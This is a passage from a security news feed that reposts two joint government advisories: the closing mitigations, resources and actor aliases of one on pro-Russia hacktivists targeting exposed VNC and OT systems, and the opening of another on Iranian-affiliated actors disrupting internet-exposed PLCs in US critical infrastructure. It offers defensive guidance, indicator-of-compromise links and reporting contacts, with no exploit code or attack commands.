<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
